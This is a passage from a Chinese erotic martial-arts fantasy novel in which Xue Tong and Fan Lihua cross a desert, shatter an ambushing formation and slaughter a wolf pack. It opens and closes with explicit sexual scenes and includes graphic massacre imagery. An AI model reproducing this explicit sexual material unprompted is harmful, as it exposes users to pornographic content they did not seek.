      薛桐见樊梨花春情满面,眼中有陶醉之色,龙枪一阵急抖,顶在樊梨花花心,登时快感如涨潮前浪,袭上樊梨花。樊梨花心中一震,朱唇轻启,啊了一声,阴道猛然向中聚合,将薛桐的龙枪紧紧锁住。同时真气运至下身,穴心嫩肉发出阴凉之气,正好与薛桐的龟头热气相抗抵销。

      薛桐龟头热气如浪,抵住樊梨花的穴心嫩肉,只要一撞嫩肉,龟头热气与穴肉凉气一触,阴阳相抵,薛桐便觉龙枪胀满之感略减一分,火灼之感亦消散一分,忍不住双手紧抱樊梨花,屁股急速抖动抽插起来。樊梨花虽觉穴肉酥酸无比,仍然咬牙忍住,施展阴磨功运气以穴肉将薛桐的龟头包住,再极力扭动臀部,使之轻旋,借紧窄阴道按摩龙枪的棒身,使之能量放出,便如石磨碾米,化解薛桐的至尊真气。这门功夫练到深处,若是对手不强,只需一扭一摇,对方马上射精投降,丢盔卸甲,一败涂地。本来樊梨花是打算挡不住的时候再用,没想到薛桐这么强,一开始就逼她使出这门绝技。

      两人一个扭腰急旋大使阴磨功,一个则是龙枪急挺,抽插如风,只借龟头热气相抗。阴阳两气在两人的下身融合,每次撞击薛桐都能感到彷彿百花盛开、云破日来的舒爽感觉,穴肉传来的阴气如清风带露,那么甜美甘凉,令人全身舒畅,整个人如同在盛夏浸泡在冰水之中,痛快清凉,舒爽彻底。只听得噗滋噗滋的水声、啪啦啪啦肉击声、两人断断续续的喘息声,以及樊梨花的淫叫声此起彼落,两人满头大汗,头髮均湿,全身因为出汗,身子显得闪闪发亮,彷彿涂了一身油脂。薛桐一口气连顶近百下,龟头阳气与穴肉阴气交流互换,每次龟头撞肉,就有一道阴气自尿道口袭上身来,樊梨花也是一样,穴肉传来阵阵暖气,全身彷彿就要融化。两人真阳真阴交流,百余次挺刺之后,薛桐将又多又浓的阳精喷入樊梨花的子宫深处。樊梨花则尽情享受薛桐带来的春风雨露,体内双修神功自行运转,整个人已经完完全全沈浸在爱欲之中。

      薛桐喘着气道:「梨花,你真好,太舒服了。」

      他搂住樊梨花,两人都是一身细汗,也真难为他们,这么冷的天气居然玩出了汗。「嗯。」

      樊梨花妩媚地将螓首埋在薛桐怀里,感受他健壮肌肉的每一分跳动,跟薛桐在一起,让她感受到作为女人的最大快乐,她被这种快乐深深迷住,深深地爱上薛桐。樊梨花想起刚才自己跟薛桐在一起欢爱那些妩媚的叫声,不由得羞红了脸,也只有那个时候,她才觉得自己是一个真正的女人,而不是那位紫衫女侠,那位冷酷的高手。

      「后面她们两个不知道在干什么?」

      薛桐亲了亲樊梨花的柔唇,忽然问道。

      「哼……」

      樊梨花横了薛桐一眼,「你心里只惦记窦仙童那只骚狐狸,她比我漂亮吗?你更喜欢她是不是?」

      她说着话,神色一冷,玉手下探,握住薛桐的腰间软蛇,微微使力。「哎……你这是乾 什么?」

      薛桐无奈握住她的手腕,「我认识窦仙童在你之前,我喜欢她是很自然的事情,你总不会希望我是一个忘恩负义的男人吧?如果我对窦仙童薄情寡义,对你自然也是一样。」

      「哼。」

      樊梨花放开薛桐的命根子,想了想,薛桐说得确实有道理,疯狂过后,樊梨花恢复她的冰冷和高傲,迅速 穿起衣服,开始修炼仙舞真诀的内功。樊梨花美丽的脸蛋泛起一缕缕寒气,这是她在梨山极寒之地修炼出来的特殊内气,她命名为寒冰气,内气发出之后,只需要少量就可以把寒冰气接触到的东西冻成冰块,就算是人也照样能迅速冰冻。

      樊梨花绝美的冷艳气质,大半是因为修炼这种寒冰气的关係,一半也是因为她不喜多言,总是陷入沈思的神态之中。望着樊梨花冰冷的脸色,薛桐想起寒江关上辞行的时候,林诗冰、林雪贞、薛清影等女一起送他们到了十里长亭,依依不捨,最后还是薛清影道:「樊女侠,此去冰雪寒国,凶险万分,相公的安全就拜託樊女侠了。」

      樊梨花只是点点头。薛清影等人明白,樊梨花这一点头,便是作出一个承诺,天下间又有谁能得到这一承诺?

      分乘两辆马车是窦仙童的建议。薛桐献宝似的向樊梨花问道:「梨花,你知道吗?坐两辆马车的事情,是谁这么贴心提出来的?」

      樊梨花对这种事情本就不大关心,她是那种神仙一般的心性,只是轻嗯一声,神态非常冷淡。「是仙童提出来的,她知道你的性格冷傲,为了让你的心情好一点,于是建议我弄来两辆马车,否则……我们四个人一辆马车就足够了,你说是不是? 」

      薛桐注意樊梨花的脸色变化,可是看了半天,竟然没有丝毫变化,不由得心中一阵失望。

      樊梨花听完之后,其实还是有些变化,只是微乎其微,不可能表现在脸上,樊梨花先是心中一暖,觉得窦仙童对自己还不错,懂得自己的心理。后来一想,反而觉得窦仙童是故意在薛桐面前讨好,显得她会做人,另一方面就表现出樊梨花的性格太差,这是一种对照,对窦仙童刚刚升起来的一丝好感,立刻烟消云散。

      见她没有反应,薛桐觉得无趣,打了一声招呼,飞身跃下马车,漫天风沙立刻拍面而来,薛桐运起怒龙狂啸,将身体罩在阵中,风沙停在他的身体三尺之外,纷纷落下,薛桐快速沖进后面的一辆马车,身上带着散落的沙子。

      「咦?你怎么不在前面陪着她?」

      窦仙童看到薛桐的时候,没有说话,只是帮他扑打身上的沙土,杨幂儿却是没心没肺地询问。「樊梨花可是紫金战士,她的安全不需要我保护,呵呵,我是担心你们出事啊。」

      薛桐一口吐出嘴里的沙土,「这该死的大漠,刮起风来真是无法无天。」

      「嘻嘻,幸好你在出发前就预料到这一点,不仅让我们带了两辆马车,还在上面加了减震,而且,车轮也被你加装加宽器,避免陷入沙地,薛桐,我觉得你倒像决胜千里的诸葛亮呢。」

      窦仙童嫣然一笑,帮薛桐脱下外面的大衣。

      「嘿嘿,本将军当然是运筹帷幄,决胜千里啰。」

      薛桐得意非凡,他现在的战斗力已经接近雪银战士,比窦仙童高了几筹,行军打仗也是非常在行,在窦仙童面前,确实能让他找到自己身为男人的位置。

      「是呀,薛大哥就是决胜千里的大将军嘛。」

      杨幂儿更是直肠子,对薛桐的崇拜,不仅体现在平时的行为,还体现在每一个动作。

      「你们两个寂寞了吧?嘿嘿,我们快活一下吧。」

      薛桐抓住杨幂儿的胳膊,就要脱她的裙子,杨幂儿故作惊慌地娇呼一声,扭着身子反抗着。

      「薛桐,情况有些不对,你们注意了!」

      樊梨花的声音,如丝如缕,清晰送到薛桐的耳边,两车之间隔着漫天的风沙,足以把病弱的普通人吹走,可樊梨花的声音硬是从风沙之中传到后面马车,这份功力就连薛桐也不得不佩服。

      薛桐顿时收起胡闹之心,倏地拔出三尖两刃刀,尽力放开自己的灵识,观察周围的动静。走的还是那条路,只是周围风沙似乎突然停止,以薛桐灵识之强大,竟然觉得陷入迷雾之中,只能探出马车周围三公尺左右的地方,再远就无法探察。

      情况真的不对!薛桐一言不发,迅速 从车窗跳了出去,勒住马缰,同时传音给樊梨花:「梨花,我们遇到埋伏了。」

      「嗯,我知道。」

      樊梨花冷静的声音响在薛桐耳边,她的马车已经停下,可她坐在马车里,根本就没动,「我们似乎进入什么阵中,你们小心,不要乱动。」

      「啊?我靠,这还能有什么阵啊?我们来雪城的事情,应该没人知道啊!奇怪了。」

      薛桐郁闷道。

      「有什么奇怪的?也许对方有奇门高手,能透过卜算知道我们的行蹤呢。」

      樊梨花声音仍然异常镇静,进入对方不知名的阵法之中,她一直没有丝毫惊慌。

      「卜算?还真有这种可能性。」

      薛桐无奈,在这个时代,没有手机等通讯设备,大漠通行困难,对方要得到自己四人前来西越国的消息,根本是不可能的事情,唯一的可能也就只有卜算。

      樊梨花从马车上跃了下来,动作乾净利落,落地时连一粒沙子都没有激起,即使处于迷雾之中,身上寒气仍然散发出来,护在她的身体周围,诛仙剑已经出鞘,盘旋在她的头顶,剑尖透出丝丝寒气,带着三尺剑芒。薛桐的亲兵罗通和罗仁,是薛桐这次特意挑选出来的随行人员,他们一直在驱赶马车,充当车夫的角色,虽然外面风沙漫捲,但他们自幼生活在草原和大漠,对这种天气早已习以为常,两人迅速凑到薛桐身边,把窦仙童和杨幂儿叫下车。

      「罗通,你们两个,千万不要离开我们,特别是别离开樊女侠。」

      薛桐赶紧嘱咐道。「是!」

      两人同时答应,跟着薛桐久了,两人不再害怕任何意外情况,因为他们相信不论遇到任何意外情况,将军都能处理。这是士兵对自己将领的盲目自信,也是这种自信,把许多迷信将领的士兵送入地狱。

      樊梨花一直观察着周围的情况,她的嘴角一直挂着蔑视天下的冷笑,几名小毛贼布下什么阵法就能困住我们?樊梨花意念一动,诛仙剑立刻光华大盛,旋转的速度瞬间加快,隐隐透出龙吟之声,宝剑有灵性似的,迅速 在樊梨花身周飞也似地旋转,飞行速度越来 越快,像在蓄势一般。果然,诛仙剑随着一声剑啸,唰地飞了出去,隐没在迷雾之中。薛桐吓了一跳,急声道:「别!被对方把宝剑收去就麻烦了。」

      「哼。」

      樊梨花发出一声高傲的冷哼声,诛仙剑又飕地一声飞了回来,于是诛仙剑接连飞出,「飕飕飕……」

      剑光所去的方向,向着四面八方,最后突然悬停在樊梨花的头顶,彷彿有灵性的卫士,警戒随时可能出现的危险。

      「这道阵法隔绝了风沙,看起来相当厉害啊。」

      窦仙童自言自语道。

      「是啊,外面的沙子打在脸上跟刀割一样,这么厉害的风沙都能档在外面,阵法当然厉害了。」

      杨幂儿立刻赞同道。

      「我的御剑之术只能飞出去十几丈……平时可是能飞出百丈之外。」

      樊梨花的声音依旧平静,平静之中却已露出一丝焦急,对这道阵法,樊梨花显然没有把握破解。

      「梨花,你的意思是说……这阵法相当厉害?」

      薛桐疑惑道。

      「厉害倒也说不上来,问题是我们需要知道这是什么样的阵法,才能寻求破解之道,依我看来,肯定又是一座迷阵,为的是阻拦我们前往西越国,就算阻挡不住我们,至少也能拖上一段时间,难道,西越国真的卜算到我们的到来?」

      樊梨花皱眉,淡淡自语道。

      「杨藩的师叔邪神就是一位奇门高手,卜算非常厉害。不会是他吧?」

      杨幂儿不确定地说道。

      「极有可能。」

      樊梨花突然转脸面向薛桐,「我们一起上,也许这座阵就破了呢。」

      「好,试试吧。」

      薛桐吩咐窦仙童:「你带他们离得远一点,我和梨花试图破这道阵法,如果我们的功力够强,说不定就能一举破阵,呵呵。」

      「好。」

      窦仙童知道,自己的功力无法跟樊梨花相比,她拉着杨幂儿迅速退出十几公尺,薛桐和樊梨花则是前行几十公尺,两人对望一眼,觉得差不多,而后运起功力,进入备战的状态。

      突然,薛桐大喝一声:「天罡风暴!」

      随后双手往上一托,双手的闪电之光忽然离手飞起,两团球形闪电瞬间变大,状如巨轮,巨轮旋转着向前飙去,一路响着劈里啪啦令人头皮发麻的响声,巨轮飞在空中足有十公尺之高,巨轮之下则是及地的电光,一路唱着雷电之歌,将经过的地面烧成焦土。这是薛桐修炼仙舞真诀之后,融合天罡十三斩创建的新招数,此招既有天罡十三斩无坚不摧的霸气,前往雪城又夹带仙雷风暴的气势。

      雷电巨轮滚动前行,造成一道弯曲的蜿蜒曲线,曲线经过之处,从地面向上十公尺的空间,任何东西都被强大的闪电摧毁、烧毁、融化!这道曲线以极快的速度,婉蜒前行,轰隆隆的雷声响彻天空……亮!亮到了极点!几乎是一股可以摧毁神佛的力量。薛桐收手,轰隆隆的雷声消失,再看天罡风暴所过之处,赫然是一道弯曲的焦土之路,宽有两公尺,长约百余步。

      与此同时,樊梨花也是娇喝一声:「仙雷风暴!」

      悬在她头顶的诛仙剑瞬间发出耀眼的光华,旋转速度达到极限,宝剑变成一团光影,光影中带着剧烈运动着的冰寒气,夹带风雷之声,以雷霆万钧之势,与薛桐的天罡风暴向着同一个方向呼啸而去,诛仙剑身后则留下一道幻影。剑光所过之处,从地面到剑光足有五公尺宽的一道线上,寒气森森,雷电交加,这招仙雷风暴应该是樊梨花最厉害的御剑招数,只见寒气先把前面的空气冻结,后面雷电又迅速将冻结的空气击碎,变成虚无,整条线路,迅速 形成类似真空的一条道路……轰隆隆的轰鸣声,震得大地发颤,窦仙童等人觉得像是发生地震一般,脚下颤抖足足持续十几分钟,剑光才悠然消失,看样子至少前进百丈,比薛桐的天罡风暴还要再远一些!

      窦仙童瞪大眼睛,樊梨花的功力确实太高。

      阵法中的迷雾顿时消散许多,也变得稀薄起来。薛桐和樊梨花心意相通,心想果然有效!两人同时大喝一声,仍然是刚才的招数,震天的轰响声再次响起,雷电、烈火、寒气,同时向前排山倒海一般前进,就像一条火龙和冰龙同时开路!

      「轰……」

      随着最后一声响亮的雷声,整个空间似乎被两人所撕裂。

      「啊……呸呸。」

      窦仙童突然感觉漫天风沙袭上她的嫩脸,她不住地向外吐着沙土,苦着脸运起防御之术,这才将沙土挡在身外,还将杨幂儿、罗通和罗仁三人裹在防御之术里面。

      「成功了!」

      薛桐与樊梨花相视而笑,两人心意相通,顿时觉得与对方联手闯天下,快意恩仇,是人生最大的乐事。

      「怒龙狂啸!」

      薛桐迅速施出防御阵法,将两人的身体包裹其中,抵御漫天风沙的袭击。

      「几名小毛贼而已。」

      樊梨花嘴角露出一丝冷笑,以她的功力,自然不需要薛桐的保护。突然,她的剑光再次呼啸而起盘旋在她的头顶,作出蓄势待发之状,薛桐一看,原来前面出现几条身材高大魁伟的身影,应该就是布阵之人,他 们怎么也想不到,辛辛苦苦布起来的阵法,居然被人用这么快的速度破掉。

      「冰雪剑阵!」

      樊梨花一声娇呼,诛仙剑发出一声响亮的龙吟,飕地飞了出去,剑光的指向,正是前面正在逃跑的高大人影。

      在薛桐的眼里,匹练一般的剑光,像是削铁如泥,在片刻之间,就将前面的数十条人影绞成粉碎。连薛桐都觉得在看自己所来的时代的电脑特效,他们被杀得碎裂不堪,摔落在地,根本就是屠杀!薛桐看得心中一震,这样的杀戮,即使是薛桐长年征战沙场、杀敌无数,仍是心惊肉跳,胆寒不已。薛桐连忙拉住窦仙童等人,吩咐一声:「你们都上车吧,别到前面去。」

      确实,前面屠宰场一样的情景,窦仙童、杨幂儿看了肯定受不了。射出的诛仙剑迅速飞回,遁入混元伞内,樊梨花彷彿没事人一般,转身上了马车,静静坐在马车上面,彷彿刚才的杀戮,根本不是她所作为。

      罗通、罗仁两人继续充当车夫,沿着沙漠继续前行,不多时,浓重的血腥味扑鼻而来,两人觉得心悸不已,刚才的一幕他们看不到,因为漫天风沙阻挡了他们视线,但是血腥味即使在漫天风沙之中,仍然让他们感受到战况之惨烈。两人不由自主地瞪大眼睛,向地面看去,此时没有浓雾,刚才被樊梨花一招击碎的尸体,已经被风沙掩饰惨状,只剩下依稀的影子,支离破碎的尸体让罗通两人顿时明白,刚才樊梨花一招冰雪剑阵,居然造成如此惨烈的后果。罗通在前面的马车赶车,身后就坐着整天冷着脸的樊梨花,罗通一颗心脏怦怦乱跳,暗道:「我的天哪!这位冷着脸的紫衫女侠居然这么厉害!」

      后面马车的罗仁也是噤若寒蝉,对樊梨花充满深深的恐惧。

      「樊女侠果然厉害,你们两人配合之下,竟然一举破阵!太厉害了。」

      杨幂儿快活说道,「仙童,到了我们雪城,我请你们喝我们特製的葡萄酒,存在冰窖里的葡萄酒,嘻嘻。」

      「好啊,好期待呀。」

      窦仙童笑得很洒脱,两人谈笑自如。

      【第十一集】第四章:遭遇狼群

      杨幂儿的哥哥杨霄,镇守着西越最北端的的雪城,这座城市不大,只有十几平方公里。士兵也只有两万来人,平时分布在各座小镇,一边督促奴隶干活,一边自己参与生产,主要是养骆驼、马匹和绵羊,农作物则是葡萄为主。大漠之中,不时可以看到商旅的白骨,今天又迎来了一个晴天,罗通高兴地哼着歌,突然歌声戛然而止,罗通的眼睛瞪大:「狼!沙漠之狼!」

      「嗯?」

      樊梨花嫩白的玉手轻轻撩开车窗,果然,前路上成群的狼,将近四千级的沙漠之狼,体型虽然不大,攻击力却很惊人,数目众多,直如一片散乱的乌云,狼群的毛髮在阳光下泛着青光,大嘴恶狠狠地张开,靠得越来越近。

      「哎呀,这么多的狼!」

      罗仁也吓了一跳。遇到狼群,可是沙漠中行人最大的不幸,狼群一般都有一头狼王,狼王用自己的嚎叫指挥群狼,如果是一般商旅,肯定会被狼群吃得只剩下骨头。罗仁当然知道狼群的厉害,他惊慌地叫道:「将军!狼群!狼群啊!」

      「啊?狼群?有多少?」

      杨幂儿吓了一跳,窦仙童拉着她迅速跳出马车,眼望蜂涌而来的狼群,简直可以用铺天盖地形容,窦仙童一时也傻住了。薛桐懒懒地走了过来,手中提着三尖两刃刀,笑道:「放心吧,夫君在此,不必惊慌。」

      「有什么可怕的?」

      对于窦仙童在狼群面前表现出来的惊慌,樊梨花显得有些鄙夷,她静静望着涌上来的狼群,美眸灵活地转动,正在观察狼群的情况。

      「怎么办?」

      罗通、罗仁都听老一辈人说过狼群的厉害,成千上万的饿狼同时扑上来,想想吧,就算武功再怎么厉害,杀死几十头狼也是极限,再说,狼群的攻击可不像平时两人比试武功,它们根本不按章法,上来就咬,而且是从各个方向一起咬过来……他们怎能不担心?

      「还能怎么办?杀吧。」

      薛桐微笑道:「这不正好吗?我们的粮食不多,狼群是在为我们送补给呀!」

      薛桐乐观的性格,让樊梨花看得有些癡迷,这样的男人才是她心目中的男人,薛桐果然没让自己失望。

      「好!我们杀狼取肉!」

      樊梨花豪气顿生,冰寒之气运起,全身泛起森寒之气,诛仙剑立刻飞到空中,在她的头顶盘旋,蓄势待发。薛桐也抄起宝剑,凛然而立,静待狼群的到来。

      「大家不要慌,跟在梨花身后。」

      薛桐当然知道樊梨花武功的厉害,立刻吩咐道。

      「是!」

      罗通和罗仁立刻站到樊梨花身后,窦仙童和杨幂儿则是跟在薛桐身后,毕竟窦仙童对樊梨花还是有些不放心,如果关键时刻她不救自己,那可怎么办?还是跟在情郎身边比较安全。

      薛桐与樊梨花并肩而立,面对着吼叫着冲上来的狼群,樊梨花忽然道:「狼群有人操纵。」

      「啊?你是说……驭兽之术?」

      薛桐见樊梨花点点头,不由疑惑道:「指挥 整批狼群,这需要多高的功力啊,难道是邪神亲自指挥?」

      「狼群里有头狼王……」

      樊梨花美眸中闪着智慧的光。%「噢……我明白了!」

      薛桐当然不笨,立刻想到:「肯定是有人控制狼王,然后透过狼王指挥群狼。」

      「那当然。」

      樊梨花见狼群已经逼近到五丈之内,冷笑一声:「薛桐,我们比赛看谁杀的狼多,好不好?」

      「好啊!呵呵,比就比。」

      薛桐总是想改变樊梨花冰冷的性格,见她主动提出杀狼比赛,立刻答应下来,再说,就算比输也不会输掉什么,输给樊梨花,跟输给自己一样。樊梨花瞥了窦仙童一眼,冷声道:「输的人,当对方一个月的僕人,不得违背主人的命令。」

      窦仙童一听,觉得樊梨花这是故意在为难薛桐,进而为难自己,这种情况下,窦仙童不便表示意见,毕竟六人之中,就属樊梨花的战斗力最强,如果失去她,其他五人能不能冲出狼阵,这还真是个问题。

      「好!僕人就僕人,你夫君我应战了!」

      薛桐长啸一声,舞刀冲入狼群,他身边张起怒龙狂啸,将窦仙童和杨幂儿包裹其中。

      「开始!」

      樊梨花娇呼一声,閑庭信步一般,潇洒地向前走去,盘旋在她头顶的诛仙剑发出一声龙吟,旋转速度顿时加快数倍,罗通、罗仁知道她出手的狠辣,只得握紧手中武器,跟随在她的身后。

      樊梨花这次用的不是冰雪剑阵,如果使出那道剑阵,所有狼只都会被她绞成碎肉,无法成为他们的食物,她直接用诛仙剑割掉狼头,剑光闪过,狼头骨碌碌地滚落,唰——剑光连闪,狼头连滚。罗通、罗仁两人紧张地跟在樊梨花身后,手中握着剑,準备随时杀几头漏网之狼,不料樊梨花的武功太厉害,诛仙剑居然一个不落地将面前的狼头全部斩落,害罗通、罗仁想杀几头狼都没有机会,两人既是高兴,又是郁闷。

      不一会儿,两组人的身后便是遍地狼尸,只是前面仍然有数以千计的恶狼,这些狼彷彿不怕死,拼命地往前冲,居然没有一头狼去吃同类的尸体,它们的目标就是薛桐六个人。震天的狼嗥声此起彼伏,惨叫声 起,鲜血狂飙、狼头滚落、剑光飞舞、狼尸倒地,如此惨烈的搏杀,比起战场丝毫不逊,漫天腥味和恶臭,熏得六人直欲作呕……夕阳西下,照得大漠一片血红,十几分钟过后,狼群已经被杀死大半,剩下几百头狼,已经没有冲上来的勇气,忽然樊梨花看到通体雪白毛髮的狼王。狼王个头比普通的狼高大、健壮一些,而且狼王身边站着一位浑身散发妖异气息的西越国人。

      「薛桐,先杀狼王者,算是胜利。」

      樊梨花忽然来了兴致叫道。

      「好!」

      薛桐比了个手势答应。

      这会儿,樊梨花顾不得一切,诛仙剑倏地飞起,沖向狼群之中,一路朝狼王所在的位置杀去。薛桐一见,也赶紧奋起余力,拼命杀向狼王的位置。

      「薛桐,加油啊,我们帮你收拾左右两边。」

      窦仙童和杨幂儿挺身而出,刚才惊心的战斗,她们只是握紧武器,没有机会参战,儘管如此,却还是把手心捏出汗来。

      「好,我只管向前杀。」

      薛桐的身影如鬼魅,剑光霍霍,只管杀出一条尺余宽的路,其他就交给窦仙童、杨幂儿两人,两人奋力杀狼,武功尽使,也是相当厉害。

      「樊女侠,你往前杀,我们帮你处理左右两边。」

      罗通、罗仁两个大男人一直被樊梨花保护,心里非常不好意思,虽然是帮助樊梨花战胜薛桐,但杀狼时一点力气都不出,心里着实有愧啊。

      「嗯。」

      樊梨花调整一下诛仙剑攻击的範围,继续向前走去,她的姿势优雅,神态从容,手指间指指点点,诛仙剑便上下翻飞,砍落无数狼头,这种杀法真有天上仙子的风姿。相比之下,薛桐就显得特别吃力,因为他每砍一颗狼头,都要用手挥剑砍去,虽然速度也是快如闪电,但比起诛仙剑还是慢上一点,也显得比樊梨花狼狈许多。不过,两人杀狼的速度,都是风一样快,简直是两枝离弦的箭矢,快速朝着狼王逼近。

      「傲——」

      狼王发出一声惨号,它的狼子狼孙已经死伤遍地,狼群遭受灭顶之灾,一切都是因为狼王的一念之差,也因为背后那个人,狼王受到他的控制,在悲惨的刺激之下,忽然清醒过来。狼王忽然回身,一口咬住控制自己的妖异家伙。那人猝不及防一下子就被狼王咬住胳膊,挣扎之下,他的另一只手掏出一把宝剑,直刺狼王心窝,狼王中剑之后,仍然死死咬住那人的胳膊,死也不肯鬆口,直到狼王嚥下最后一口气,身体虽然不能动,利齿却还紧紧咬着不放。

      樊梨花沖到狼王和那人的面前,薛桐也是同时赶到,樊梨花一剑刺向狼王的身上,狼王身体如麵条那般摇动一下,显然早已死亡,薛桐正要刺出一剑,看到这种情况,也是停了手。

      「死得这么快?」

      樊梨花心有不甘,一脚踢向狼王的尸身,狼王一张嘴仍然紧紧咬着妖异男子的胳膊。樊梨花目光一凝,诛仙剑唰地一剑,把那人胳膊整条砍了下来,那人顿时大叫一声,昏了过去。

      「哈哈,梨花,不用急着让我当你的僕人吧?当主人的感觉很爽吗?」

      薛桐戏谑笑道。

      「当不当主人无所谓,关键是愿赌服输。」

      樊梨花冷然道。

      「好好好,那现在怎么办?去数数杀死的狼的数量?」

      薛桐笑了,两人各杀了三千多头狼,要是细数,恐怕半天也不一定能查清楚。

      「我杀了三千四百一十三头狼,你呢?」

      樊梨花冷着脸道。

      「啊?这……这还要边杀边数啊?」

      薛桐一时愣住,他当然知道,凭樊梨花的性格,绝对不会随便蒙一个数字唬他玩,她既然说是三千四百一十三头,那就是绝对準确。窦仙童非常了解樊梨花的孤傲性格,知道她绝对不会因为这个小赌胡乱说个数字,看到这里,窦仙童嫣然一笑,对薛桐道:「樊女侠绝对不会有虚言,这一点我敢保证,樊女侠的话我信得过,薛桐,既然你没有查清楚自己杀狼的数量,其实这个赌约,你已经输了。」

      樊梨花惊讶地望了窦仙童一眼,她一路上对窦仙童冷眼相对,想不到在这个赌约,她居然会帮自己说话?

      薛桐有些无奈,他看了看杨幂儿,用目光徵询杨幂儿的意见,杨幂儿没有多少心眼,见薛桐望过来,知道他是问自己的意见,立刻道:「我也觉得,薛桐你确实输了。」

      「唉……你们怎么能这样?这不是合伙整我吗?」

      薛桐皱着眉、苦着脸,显得郁闷至极。其实他心中乐翻了天,窦仙童能帮樊梨花说话,樊梨花肯定会对她的看法有所改变,这才是最重要的事情——老婆多了是男人的福气,但老婆之间不和睦,可就不是男人的福气。

      「好,梨花,这次赌约我确实是输了,敌不过梨花……其实我也不算丢人,对吧?嘿嘿。」

      薛桐来到樊梨花面前,涎着脸笑着,「主人,请问您有什么吩咐?」

      「马车上再说。」

      樊梨花仍然看窦仙童有些不顺眼,自顾自就上了马车。

      「呃……这样吧,罗通、罗仁,你们两个负责剥一些狼肉出来,我们存在车上,当我们的粮食,烤狼肉我可是很拿手的哦。」

      薛桐吩咐道。

      「是,将军。」

      罗通、罗仁当然知道,薛桐此时已经成了樊梨花的僕人,樊梨花的命令,薛桐绝对要听,他要跟着樊梨花上马车,干活的重任自然落在罗通两人肩上,总不能让窦仙童和杨幂儿帮忙宰狼吧。两人答应一声,赶紧就地开始剥狼肉,薛桐则是爬上樊梨花的马车。

      「坐在我对面,我们继续元神双修,这一路上,一有时间就要修炼武功。」

      樊梨花当然不会真的为难薛桐,她只是透过这个赌约约束薛桐罢了。「好啊,呵呵。」

      薛桐坐在她的对面,凝视她娇美的脸蛋,虽然那张脸总是一副冰冷神色,却只有薛桐知道,两人一起疯狂的时候,嫣红檀口发出的吟叫,是那么的淫蕩。

      「少胡思乱想,马上开始。」

      樊梨花经过一番杀狼的战斗,紫衫上居然没有溅上一丝血迹,薛桐见自己斗篷已经血迹斑斑,赶紧把斗篷脱下来,随手挂在车窗上,这才转身,与樊梨花一双柔软的手互相握在一起。

      罗通、罗仁两人累得直喘气,虽然有锋利的匕首,但这时已经接近黄昏,大漠的天气突然冷了下来,本来温度只有七、八度,现在一下子变成零下几度,许多狼尸已经冰冷,分割起来费了不少劲,一方面也有好处,直接冻成肉块,不用担心保存的问题。两人清理出马车的小房间,专门放置冰冻的肉块。忙了老半天,沙漠的天气没有什么明显变化,然而,即使是晴天,夜晚也是冷得彻骨,薛桐几人功力非凡,没受什么影响,罗通两人则是非常麻烦,他们不待在马车基本上没办法生存。

      薛桐倒觉得大漠中的生活非常惬意,他的功力提高,不再惧怕天气忽冷忽热,他在马车里架起小炉,取出早已经準备好的铁丝,把狼肉切好,弄成小碎块,然后放在火炉上慢慢烤,还往上面撒一些香料。「呀!你什么时候学会这个?」

      闻到烤狼肉的诱人香味,窦仙童顿时睁大眼睛,温柔地伸手抚摸薛桐的胳膊,看到他放在火炉上的狼肉串发出滋滋的响声,于是可爱的琼鼻吸了西,一脸惊讶。

      「是呀、是呀!好香啊!我从来不知道狼肉烤也是这么香。」

      杨幂儿睁大圆圆的眼睛,凑在薛桐的火炉旁边,认真观察薛桐的一举一动,不由得有些蠢蠢欲动:「我来烤一串,怎么样?」

      「好啊,嘿嘿。」

      薛桐得意地递过来一串给她,杨幂儿小心握住,把肉串放到火炉上,看着肉串慢慢烤热,发出滋滋响声,娇美脸上露出兴奋的神色:「呀!我也会烤肉串了呢!咯咯……」

      身为公主的她,从来没有做过这种事,如今做起来,反而觉得其乐无穷。窦仙童也加入烤肉的行列,罗仁、罗通闻到肉香,却不敢凑过来,只能待在属于他们的小房间。

      「罗通!」

      薛桐忽然高喊一声。

      「到!」

      罗通立刻精神百倍地来到薛桐烤肉的火炉面前,吸吸鼻子,眼睛看到烤得有些焦黑的肉串,顿时涎水欲滴,咂了咂嘴。「将军,有什么吩咐?」

      这美味的肉串岂是他能享受,他当然不敢随便吃一串。

      「你和罗仁学习如何烤肉串,切的时候要注意,尽量匀一些,不要太大块,烤好了之后,送过去给樊女侠。」

      薛桐吩咐道。

      「是!」

      罗通立刻和罗仁回到自己的小房间,收拾烤肉串的火炉,薛桐过去教会他们。他们目光看向薛桐的时候,尽是充满崇拜,将军来到大漠,居然比我们想得还要周到。罗通把烤好的肉串用乾净的油纸包住,送给樊梨花吃。不料,三分钟过后,罗通苦着一张脸回来,油纸包仍然没动。

      「怎么了?」

      薛桐疑惑道。

      「樊女侠厌恶地看了我一眼,只摆了摆手,我就回来了。」

      罗通对樊梨花当然非常尊敬,她高超的武功在六人里面最强,杀狼群的时候厉害无比,军人就是崇拜强者,这是他们的传统,但这位樊梨花似乎有洁癖。

      「哈哈!没事,你们先吃吧。」

      薛桐取了一块狼肉,带着香料和用具来到樊樊梨花所在的马车,开始摆弄烤狼肉串,不多时,狼肉串的香味吸引到樊梨花的注意,冷艳脸上露出一丝馋相,虽然非常轻微,但人类的口腹之欲乃属天生,薛桐又怎能不明白。

      「吃几串吧,我烤好了。」

      薛桐递过来五串,樊梨花本能地接了过去,美丽的眼睛望了望火炉,似乎觉得烤的东西有些脏,但薛桐帮她烤,怎能辜负薛桐对她的一片心意。樊梨花把肉串放到鼻前,嗅了嗅,见薛桐一直睁大眼睛望着她,只好张开嫣红可爱的檀口,用小白牙咬住肉串,一撕而下,然后慢慢咀嚼。她吃东西的样子优雅从容,脸上露出享受的神情,看来肉串确实烤得不错,当然,这些天他们吃的东西多是又乾又硬的馒头,这也是原因之一。樊梨花倒不是有什么洁癖,只是她对罗通这些下人本能觉得很髒,被他们碰过的食物,她是绝对不吃,但薛桐烤的食物当然要吃,毕竟,连薛桐的身体都吃过好几遍了嘛。

      「咦?你烤得还真好吃呢。」

      樊梨花瞇起美丽的眼睛,睫毛颤动,咂了咂嘴,「想不到你还有这种本事。」

      樊梨花在梨山很少吃这种凡俗的食物,都吃一些水果和雪莲,因此皮肤保养得十分细嫩。「我还有许多本事,是你不知道的呢。」

      薛桐一边烤着狼肉串,一边得意地说道。「哦?」

      樊梨花的美眸闪起异彩,调侃道:「除了玩女人,你还有其他的本事?」

      「你……你这叫什么话?玩女人难道不算本事?你不是在我身下叫得挺欢的!」

      薛桐探手抓向樊梨花的胸前高峰,以樊梨花的功夫,她当然能够躲开,但她根本不躲,任薛桐握住自己圆鼓鼓的乳房,寒气四射的美眸,泛起一丝激情。

      「嗯哼……」

